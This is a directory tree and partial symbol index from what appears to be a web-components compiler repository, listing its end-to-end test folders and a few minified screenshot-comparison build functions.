│ │ │ │ │ ├── scoped-mode.css
│ │ │ │ │ ├── scoped-mode.griff.css
│ │ │ │ │ ├── scoped-mode.scss
│ │ │ │ │ └── scoped-mode.tsx
│ │ │ │ └── shadow-mode/
│ │ │ │ ├── shadow-mode.buford.scss
│ │ │ │ ├── shadow-mode.css
│ │ │ │ ├── shadow-mode.griff.css
│ │ │ │ ├── shadow-mode.scss
│ │ │ │ └── shadow-mode.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── custom-elements.html
│ │ │ ├── global.ts
│ │ │ ├── index.html
│ │ │ └── scss/
│ │ │ └── _partial.scss
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── todo-app/
│ │ ├── .firebaserc
│ │ ├── .gitignore
│ │ ├── .npmrc
│ │ ├── firebase.json
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-root/
│ │ │ │ │ └── app-root.tsx
│ │ │ │ ├── todo-input/
│ │ │ │ │ └── todo-input.tsx
│ │ │ │ └── todo-item/
│ │ │ │ └── todo-item.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── global/
│ │ │ │ └── app.css
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── type-tests/
│ │ ├── README.md
│ │ ├── test.spec.tsx
│ │ └── tsconfig.json
│ └── wdio/
│ ├── .gitignore
│ ├── README.md
│ ├── async-rerender/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-basic/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-boolean/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-complex/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-deserializer/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-host/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── attribute-html/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── auto-loader/
│ │ ├── auto-loader-child.tsx
│ │ ├── auto-loader-dynamic.tsx
│ │ ├── auto-loader-root.tsx
│ │ ├── cmp.test.tsx
│ │ ├── components.d.ts
│ │ ├── perf-dist.test.tsx
│ │ └── perf.test.tsx
│ ├── auto-loader.stencil.config.ts
│ ├── build-data/
│ │ ├── build-data.tsx
│ │ └── cmp.test.tsx
│ ├── child-load-failure/
│ │ ├── cmp-child-fail.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── clone-node/
│ │ ├── cmp-root.tsx
│ │ ├── cmp-slide.tsx
│ │ ├── cmp-text.tsx
│ │ └── cmp.test.tsx
│ ├── complex-properties/
│ │ ├── __snapshots__/
│ │ │ └── cmp.test.tsx.snap
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-prop-decorator/
│ │ ├── cmp-reflect.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-state-decorator/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── computed-properties-watch-decorator/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── conditional-basic/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── conditional-rerender/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── cross-document-constructed-styles/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── css-variables/
│ │ ├── cmp-no-encapsulation.css
│ │ ├── cmp-no-encapsulation.tsx
│ │ ├── cmp-shadow-dom.css
│ │ ├── cmp-shadow.tsx
│ │ ├── cmp.test.tsx
│ │ └── variables.css
│ ├── custom-elements-delegates-focus/
│ │ ├── cmp.test.tsx
│ │ ├── custom-elements-delegates-focus.tsx
│ │ ├── custom-elements-no-delegates-focus.tsx
│ │ └── shared-delegates-focus.css
│ ├── custom-elements-hierarchy-lifecycle/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp-util.ts
│ │ └── cmp.test.tsx
│ ├── custom-elements-output/
│ │ ├── cmp.test.tsx
│ │ ├── custom-element-child.tsx
│ │ ├── custom-element-nested-child.tsx
│ │ └── custom-element-root.tsx
│ ├── custom-elements-output-tag-class-different/
│ │ ├── cmp.test.tsx
│ │ ├── custom-element-child.tsx
│ │ └── custom-element-root.tsx
│ ├── custom-event/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── custom-states/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── declarative-shadow-dom/
│ │ ├── cmp-svg.test.tsx
│ │ ├── cmp-svg.tsx
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── page-list-item.css
│ │ ├── page-list-item.tsx
│ │ ├── page-list.css
│ │ ├── page-list.test.ts
│ │ └── page-list.tsx
│ ├── delegates-focus/
│ │ ├── cmp.test.tsx
│ │ ├── delegates-focus.css
│ │ ├── delegates-focus.tsx
│ │ └── no-delegates-focus.tsx
│ ├── dom-reattach/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── dom-reattach-clone/
│ │ ├── cmp-deep-slot.tsx
│ │ ├── cmp-host.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── dynamic-css-variables/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── dynamic-imports/
│ │ ├── cmp.test.tsx
│ │ ├── dynamic-import.tsx
│ │ ├── module1.tsx
│ │ ├── module2.tsx
│ │ └── module3.tsx
│ ├── es5-addclass-svg/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── esm-import/
│ │ ├── cmp-hydrated.test.tsx
│ │ ├── cmp.test.tsx
│ │ ├── esm-import.css
│ │ └── esm-import.tsx
│ ├── event-basic/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── event-custom-type/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── event-listener-capture/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── event-re-register.css
│ │ ├── event-re-register.test.tsx
│ │ └── event-re-register.tsx
│ ├── exclude-component/
│ │ ├── exclude-component-root.tsx
│ │ ├── exclude-component.test.tsx
│ │ └── excluded-component.tsx
│ ├── external-imports/
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ ├── cmp.test.tsx
│ │ ├── external-data.ts
│ │ └── external-store.ts
│ ├── form-associated/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── prop-check.test.tsx
│ │ └── prop-check.tsx
│ ├── global-script/
│ │ ├── README.md
│ │ ├── components.d.ts
│ │ ├── dist-cmp.tsx
│ │ ├── global-script.test.tsx
│ │ ├── global.ts
│ │ ├── index.html
│ │ └── test-cmp.tsx
│ ├── global-script.stencil.config.ts
│ ├── global-styles/
│ │ ├── global-styles.test.tsx
│ │ └── global-styles.tsx
│ ├── global.ts
│ ├── host-attr-override/
│ │ ├── host-attr-override.test.tsx
│ │ └── host-attr-override.tsx
│ ├── image-import/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── import-aliasing/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── index.ts
│ ├── init-css-shim/
│ │ ├── cmp-root.css
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── input-basic/
│ │ ├── cmp-root.test.tsx
│ │ └── cmp-root.tsx
│ ├── invisible-prehydration/
│ │ ├── cmp.tsx
│ │ ├── components.d.ts
│ │ ├── index.html
│ │ └── invisible-prehydration.test.tsx
│ ├── invisible-prehydration.stencil.config.ts
│ ├── json-basic/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── data.json
│ ├── key-reorder/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── lifecycle-async/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ └── util.ts
│ ├── lifecycle-basic/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ └── cmp-c.tsx
│ ├── lifecycle-nested/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-c.tsx
│ │ └── output.ts
│ ├── lifecycle-unload/
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ ├── cmp-root.test.tsx
│ │ └── cmp-root.tsx
│ ├── lifecycle-update/
│ │ ├── cmp-a.test.tsx
│ │ ├── cmp-a.tsx
│ │ ├── cmp-b.tsx
│ │ └── cmp-c.tsx
│ ├── listen-jsx/
│ │ ├── cmp-root.test.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.tsx
│ ├── listen-reattach/
│ │ ├── cmp-a.test.tsx
│ │ └── cmp-a.tsx
│ ├── listen-window/
│ │ ├── cmp-a.test.tsx
│ │ └── cmp-a.tsx
│ ├── manual-slot-assignment/
│ │ ├── cmp.test.tsx
│ │ ├── manual-slot-filter.tsx
│ │ └── manual-slot-tabs.tsx
│ ├── no-external-runtime/
│ │ ├── components.d.ts
│ │ └── custom-elements-form-associated/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── no-external-runtime.stencil.config.ts
│ ├── node-resolution/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ ├── module/
│ │ │ └── index.ts
│ │ └── module.ts
│ ├── package.json
│ ├── prefix-attr/
│ │ ├── cmp-nested.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── prefix-prop/
│ │ ├── cmp-nested.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── prerender-test/
│ │ └── cmp.test.tsx
│ ├── prerender.stencil.config.ts
│ ├── property-serializer/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── radio-group-blur/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── radio-group.css
│ │ ├── radio.css
│ │ ├── test-radio-group.tsx
│ │ ├── test-radio.tsx
│ │ └── utils.ts
│ ├── ref-attr-order/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── reflect-nan-attribute/
│ │ ├── reflect-nan-attribute.test.tsx
│ │ └── reflect-nan-attribute.tsx
│ ├── reflect-nan-attribute-hyphen/
│ │ ├── cmp.test.tsx
│ │ └── reflect-nan-attribute-hyphen.tsx
│ ├── reflect-nan-attribute-with-child/
│ │ ├── child-reflect-nan-attribute.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-reflect-nan-attribute.tsx
│ ├── reflect-single-render/
│ │ ├── child-with-reflection.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-with-reflect-child.tsx
│ ├── reflect-to-attr/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── remove-child-patch/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── render/
│ │ └── render.test.tsx
│ ├── reparent-style/
│ │ ├── cmp.test.tsx
│ │ ├── reparent-style-no-vars.css
│ │ ├── reparent-style-no-vars.tsx
│ │ ├── reparent-style-with-vars.css
│ │ └── reparent-style-with-vars.tsx
│ ├── scoped-add-remove-classes/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-basic/
│ │ ├── cmp-root-md.css
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-conditional/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-id-in-nested-classname/
│ │ ├── cmp-level-1.scss
│ │ ├── cmp-level-1.tsx
│ │ ├── cmp-level-2.scss
│ │ ├── cmp-level-2.tsx
│ │ ├── cmp-level-3.scss
│ │ ├── cmp-level-3.tsx
│ │ └── cmp.test.tsx
│ ├── scoped-slot-append-and-prepend/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-assigned-methods/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-child-insert-adjacent/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-children/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── scoped-slot-connectedcallback/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-middle.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp.test.tsx
│ │ └── custom-element.html
│ ├── scoped-slot-content-hide/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-in-slot/
│ │ ├── child.tsx
│ │ ├── cmp.test.tsx
│ │ ├── host.tsx
│ │ └── parent.tsx
│ ├── scoped-slot-insertbefore/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-insertion-order-after-interaction/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-slotchange/
│ │ ├── cmp-wrap.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-slotted-parentnode/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-text/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── scoped-slot-text-with-sibling/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── serialize-deserialize-e2e/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── setup.ts
│ ├── shadow-dom-array/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shadow-dom-basic/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shadow-dom-mode/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── mode-blue.css
│ │ └── mode-red.css
│ ├── shadow-dom-slot-nested/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── shared-jsx/
│ │ ├── bad-shared-jsx.tsx
│ │ ├── cmp.test.tsx
│ │ └── factory-jsx.tsx
│ ├── slot-array-basic/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-array-complex/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-array-top/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-basic/
│ │ ├── cmp-root.test.tsx
│ │ ├── cmp-root.tsx
│ │ └── cmp.tsx
│ ├── slot-basic-order/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-children/
│ │ ├── cmp-root.tsx
│ │ └── cmp.test.tsx
│ ├── slot-conditional-rendering/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-dynamic-name-change/
│ │ ├── cmp-scoped.tsx
│ │ ├── cmp-shadow.tsx
│ │ └── cmp.test.tsx
│ ├── slot-dynamic-wrapper/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-fallback/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-fallback-with-forwarded-slot/
│ │ ├── child-component.tsx
│ │ ├── cmp.test.tsx
│ │ └── parent-component.tsx
│ ├── slot-fallback-with-textnode/
│ │ ├── cmp-avatar.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-hide-content/
│ │ ├── cmp-open.tsx
│ │ ├── cmp-scoped.tsx
│ │ └── cmp.test.tsx
│ ├── slot-html/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-light-dom/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-map-order/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-nested-default-order/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── slot-nested-dynamic/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ ├── cmp-wrapper.tsx
│ │ └── cmp.test.tsx
│ ├── slot-nested-order/
│ │ ├── cmp-child.tsx
│ │ ├── cmp-parent.tsx
│ │ └── cmp.test.tsx
│ ├── slot-ng-if/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── index.html
│ ├── slot-no-default/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-none/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-parent-tag-change/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-reorder/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-replace-wrapper/
│ │ ├── cmp-root.tsx
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── slot-scoped-list/
│ │ ├── dynamic-scoped-list-cmp.tsx
│ │ ├── list-cmp.tsx
│ │ ├── root-cmp.test.tsx
│ │ └── root-cmp.tsx
│ ├── slot-shadow-list/
│ │ ├── dynamic-shadow-list-cmp.tsx
│ │ ├── list-cmp.tsx
│ │ ├── root-cmp.test.tsx
│ │ └── root-cmp.tsx
│ ├── slotted-css/
│ │ ├── cmp.css
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── src/
│ │ └── components.d.ts
│ ├── ssr-hydration/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── custom-element.html
│ │ ├── order-cmp.tsx
│ │ ├── order-wrap-cmp.tsx
│ │ ├── part-cmp.tsx
│ │ ├── part-wrap-cmp.tsx
│ │ ├── scoped-child-cmp.tsx
│ │ ├── scoped-parent-cmp.tsx
│ │ ├── shadow-child-cmp.tsx
│ │ ├── shadow-parent-cmp.tsx
│ │ ├── slow-prop.tsx
│ │ └── wrap-cmp.tsx
│ ├── static-members/
│ │ ├── README.md
│ │ ├── static-decorated-members.tsx
│ │ ├── static-members-separate-export.tsx
│ │ ├── static-members-separate-initializer.tsx
│ │ ├── static-members.test.tsx
│ │ └── static-members.tsx
│ ├── static-styles/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── stencil-sibling/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── stencil.config-es2022.ts
│ ├── stencil.config.ts
│ ├── style-plugin/
│ │ ├── bar.scss
│ │ ├── cmp.test.tsx
│ │ ├── css-cmp.tsx
│ │ ├── css-entry.css
│ │ ├── css-importee.css
│ │ ├── foo.scss
│ │ ├── global-css-entry.css
│ │ ├── global-sass-entry.scss
│ │ ├── multiple-styles.tsx
│ │ ├── sass-bootstrap.scss
│ │ ├── sass-cmp.tsx
│ │ ├── sass-entry.scss
│ │ └── sass-importee.scss
│ ├── svg-attr/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── svg-class/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── tag-names/
│ │ ├── cmp-tag-3d.tsx
│ │ ├── cmp-tag-88.tsx
│ │ └── cmp.test.tsx
│ ├── tag-transform/
│ │ ├── child-tag-transform.tsx
│ │ ├── custom-element.html
│ │ ├── parent-tag-transform.css
│ │ ├── parent-tag-transform.tsx
│ │ ├── tag-transform.test.tsx
│ │ └── tag-transformer.ts
│ ├── tag-transformer.ts
│ ├── template-render/
│ │ ├── cmp.test.tsx
│ │ └── cmp.tsx
│ ├── test-end-to-end-import.mjs
│ ├── test-prerender/
│ │ ├── no-script-build.js
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ └── src/
│ │ ├── components/
│ │ │ ├── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ └── app-root.tsx
│ │ │ ├── cmp-a/
│ │ │ │ ├── cmp-a.css
│ │ │ │ └── cmp-a.tsx
│ │ │ ├── cmp-b/
│ │ │ │ ├── cmp-b.css
│ │ │ │ └── cmp-b.tsx
│ │ │ ├── cmp-c/
│ │ │ │ ├── cmp-c.css
│ │ │ │ └── cmp-c.tsx
│ │ │ ├── cmp-client-scoped/
│ │ │ │ ├── cmp-client-scoped.css
│ │ │ │ └── cmp-client-scoped.tsx
│ │ │ ├── cmp-client-shadow/
│ │ │ │ ├── cmp-client-shadow.css
│ │ │ │ └── cmp-client-shadow.tsx
│ │ │ ├── cmp-d/
│ │ │ │ ├── cmp-d.css
│ │ │ │ └── cmp-d.tsx
│ │ │ ├── cmp-scoped-a/
│ │ │ │ ├── cmp-scoped-a.css
│ │ │ │ └── cmp-scoped-a.tsx
│ │ │ ├── cmp-scoped-b/
│ │ │ │ ├── cmp-scoped-b.css
│ │ │ │ └── cmp-scoped-b.tsx
│ │ │ ├── cmp-text-blue/
│ │ │ │ ├── cmp-text-blue.css
│ │ │ │ └── cmp-text-blue.tsx
│ │ │ ├── cmp-text-green/
│ │ │ │ ├── cmp-text-green.css
│ │ │ │ └── cmp-text-green.tsx
│ │ │ └── hydrate-svg/
│ │ │ └── hydrate-svg.tsx
│ │ ├── components.d.ts
│ │ ├── global/
│ │ │ ├── app.css
│ │ │ └── util.ts
│ │ └── index.html
│ ├── test-sibling/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components.d.ts
│ │ │ ├── global.ts
│ │ │ ├── sibling-abstract-mixin/
│ │ │ │ └── sibling-abstract-mixin.ts
│ │ │ ├── sibling-extended/
│ │ │ │ └── sibling-extended.tsx
│ │ │ ├── sibling-extended-base/
│ │ │ │ └── sibling-extended-base.tsx
│ │ │ ├── sibling-root/
│ │ │ │ └── sibling-root.tsx
│ │ │ └── sibling-with-mixin/
│ │ │ ├── mixin-factory.ts
│ │ │ └── sibling-with-mixin.tsx
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── text-content-patch/
│ │ ├── cmp-scoped-slot.tsx
│ │ ├── cmp-scoped.tsx
│ │ └── cmp.test.tsx
│ ├── ts-target/
│ │ ├── components.d.ts
│ │ ├── extends-abstract/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mixin-class.ts
│ │ │ └── mxin-class-parent.ts
│ │ ├── extends-cmp/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── extended-cmp-cmp.tsx
│ │ │ └── extended-cmp.tsx
│ │ ├── extends-composition-scaling/
│ │ │ ├── checkbox-group-cmp.tsx
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── focus-controller.ts
│ │ │ ├── radio-group-cmp.tsx
│ │ │ ├── reactive-controller-host.ts
│ │ │ ├── text-input-cmp.tsx
│ │ │ └── validation-controller.ts
│ │ ├── extends-conflicts/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── conflicts-base.ts
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-controller-updates/
│ │ │ ├── clock-controller-base.ts
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-direct-state/
│ │ │ ├── clock-base.ts
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-events/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── event-base.ts
│ │ ├── extends-external/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-external-abstract/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-external-with-mixin/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-inheritance-scaling/
│ │ │ ├── checkbox-group-cmp.tsx
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── focus-controller-base.ts
│ │ │ ├── focus-controller-mixin.ts
│ │ │ ├── form-field-base.ts
│ │ │ ├── radio-group-cmp.tsx
│ │ │ ├── text-input-cmp.tsx
│ │ │ ├── validation-controller-base.ts
│ │ │ └── validation-controller-mixin.ts
│ │ ├── extends-lifecycle-basic/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── lifecycle-base.ts
│ │ ├── extends-lifecycle-multilevel/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── grandparent-base.ts
│ │ │ └── parent-base.ts
│ │ ├── extends-local/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ └── es2022.dist.html
│ │ ├── extends-methods/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── method-base.ts
│ │ ├── extends-mixed-decorators/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── mixed-decorators-base.ts
│ │ ├── extends-mixin/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mixin-a.tsx
│ │ │ └── mixin-b.tsx
│ │ ├── extends-mixin-slot/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── slot-mixin.tsx
│ │ ├── extends-props-state/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── props-state-base.ts
│ │ ├── extends-render/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── render-base.tsx
│ │ ├── extends-test-suite.test.ts
│ │ ├── extends-via-host/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ ├── mouse-controller.ts
│ │ │ └── reactive-controller-host.ts
│ │ ├── extends-watch/
│ │ │ ├── cmp.test.ts
│ │ │ ├── cmp.tsx
│ │ │ ├── es2022.custom-element.html
│ │ │ ├── es2022.dist.html
│ │ │ └── watch-base.ts
│ │ └── ts-target-props/
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ ├── es2022.custom-element.html
│ │ └── es2022.dist.html
│ ├── tsconfig-auto-loader.json
│ ├── tsconfig-es2022.json
│ ├── tsconfig-global-script.json
│ ├── tsconfig-invisible-prehydration.json
│ ├── tsconfig-no-external-runtime.json
│ ├── tsconfig-prerender.json
│ ├── tsconfig-stencil.json
│ ├── tsconfig.json
│ ├── util.ts
│ ├── watch-native-attributes/
│ │ ├── cmp-no-members.test.tsx
│ │ ├── cmp-no-members.tsx
│ │ ├── cmp.test.tsx
│ │ ├── cmp.tsx
│ │ └── custom-tag-name.test.tsx
│ └── wdio.conf.ts
├── test-form-associated.js
├── tsconfig.json
└── types/
├── ionic-prettier-config.d.ts
└── merge-source-map.d.ts
Showing preview only (611K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (5676 symbols across 918 files)
FILE: screenshot/compare/build/app.js
function checkSupport (line 3) | function checkSupport() {
FILE: screenshot/compare/build/p-081b0641.js
function t (line 1) | function t(t,n,r){const s=o(t,n,r),c=localStorage.getItem(s);if("string"...
function n (line 1) | function n(t,n,r,s){const c=o(t,n,r);localStorage.setItem(c,String(s))}
function o (line 1) | function o(t,n,o){return`screenshot_mismatch_${t}_${n}_${o}`}
FILE: screenshot/compare/build/p-227a1e18.entry.js
class O (line 1) | class O{constructor(s){t(this,s)}render(){return s("stencil-router",{cla...
method constructor (line 1) | constructor(s){t(this,s)}
method render (line 1) | render(){return s("stencil-router",{class:"full-screen"},s("stencil-ro...
class j (line 1) | class j{constructor(s){t(this,s),this.group=null,this.match=null,this.co...
method constructor (line 1) | constructor(s){t(this,s),this.group=null,this.match=null,this.componen...
method computeMatch (line 1) | computeMatch(t){const s=null!=this.group||null!=this.el.parentElement&...
method loadCompleted (line 1) | async loadCompleted(){let t={};this.history&&this.history.location.has...
